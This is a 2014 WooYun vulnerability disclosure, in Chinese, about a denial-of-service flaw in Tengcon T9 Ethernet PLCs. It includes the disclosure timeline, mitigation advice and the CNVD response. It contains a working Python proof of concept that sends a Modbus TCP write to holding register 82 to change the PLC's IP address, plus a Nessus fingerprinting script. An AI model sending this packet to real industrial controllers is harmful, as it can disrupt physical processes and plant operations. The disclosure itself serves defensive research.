[公开漏洞]Tengcon T9系列 以太网PLC-Denial Of Service

来源:WooYun 浏览:658次 时间:2014-06-12
做网站找雨过天晴工作室
Tengcon T9系列 以太网PLC-Denial Of Service 相关厂商: 北京腾控科技有限公司 漏洞作者:Z-0ne 提交时间:2014-04-26 18:26 公开时间:2014-06-10 18:26 漏洞类型:设计缺陷/逻辑错误 危害等级:高 自评Rank:10 漏洞状态: 已交由第三方厂商(cncert国家互联网应急中心)处理 漏洞来源:http://www.wooyun.org Tags标签: 逻辑错误 设计不当 工控安全 PLC 工控协议 边界防护 漏洞详情 披露状态:

2014-04-26:细节已通知厂商并且等待厂商处理中
2014-04-30:厂商已经确认,细节仅向厂商公开
2014-05-10:细节向核心白帽子及相关领域专家公开
2014-05-20:细节向普通白帽子公开
2014-05-30:细节向实习白帽子公开
2014-06-10:细节向公众公开

简要描述:

对PLC攻击最最最最最最简单的一个示例,或许你已经猜到了,不知道算不算漏洞,功能和安全在如今你说该怎么选择?
大家可以多关注关注这些方面~

详细说明:

官方说明书:http://www.tengcon.com/download/T9_Hardware_Manual_V01.201106.rar



传统串口Modbus虽然有从站地址作为通讯唯一认证但是也只有1-255,而Modbus Tcp虽然定义了从站地址字段,但是通讯时可以被忽略,个人感觉把运行、停止、IP配置、串口配置等设置信息直接存放在可直接修改的HR寄存器是不妥的做法,况且此系列PLC还有以太网接口。



漏洞证明:

例如修改第82个HR寄存器第为254,操作这些寄存器可即时修改PLC IP地址,造成拒绝服务

import sys
import socket

test = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
test.connect(('127.0.0.1', 502))
test.send('\x00\x00\x00\x00\x00\x06\x01\x06\x00\x52\x00\xfe')
str = repr(test.recv(1024))
print str



腾控T9系列PLC指纹信息:

第一二个HR寄存器均为55aa,可以作为设备识别的手段

Nessus脚本代码片段

#
# start~
#
include("revisions-lib.inc");
include("misc_func.inc");

###TCP###
#定义端口变量
port=502;
#请填充"端口号"字段

#辨别端口状态
if(!(get_tcp_port_state(port)))exit(0);

#建立套接字
soc = open_sock_tcp(port);
if(soc)
{
#发送数据
send(socket:soc, data:raw_string(0x00,0x00,0x00,0x00,0x00,
0x06,0x01,0x03,0x00,0x01,
0x00,0x01));
#请填充"发送数据内容"字段

#接收数据
r = recv(socket:soc, length:1024);
#请填充"接收字段长度"字段
if(r == raw_string(0x00,0x00,0x00,0x00,0x00,
0x05,0x01,0x03,0x01,
0x55,0xaa))
{
report = "Tengcon T9 PLC Modbus TCP is Runing!";
security_warning(port:port,data:report);
}
#关闭套接字security_warning
###TCP###
}

修复方案:

增加工业协议过滤设备例如工业防火墙

隐藏敏感配置信息

版权声明:转载请注明来源 Z-0ne@乌云 漏洞回应 厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-04-30 22:52

厂商回复:

CNVD未掌握对应所述PLC产品,对于该漏洞分两个步骤进行处置:1、由CNCERT向上级主管单位报告情况;2、由CNVD尝试联系生产厂商处置。按CVSS评分来,应该是基准分7.1,考虑到工业控制系统的特殊性,z-0ne同学的工作很有代表性。rank 20

最新状态:

暂无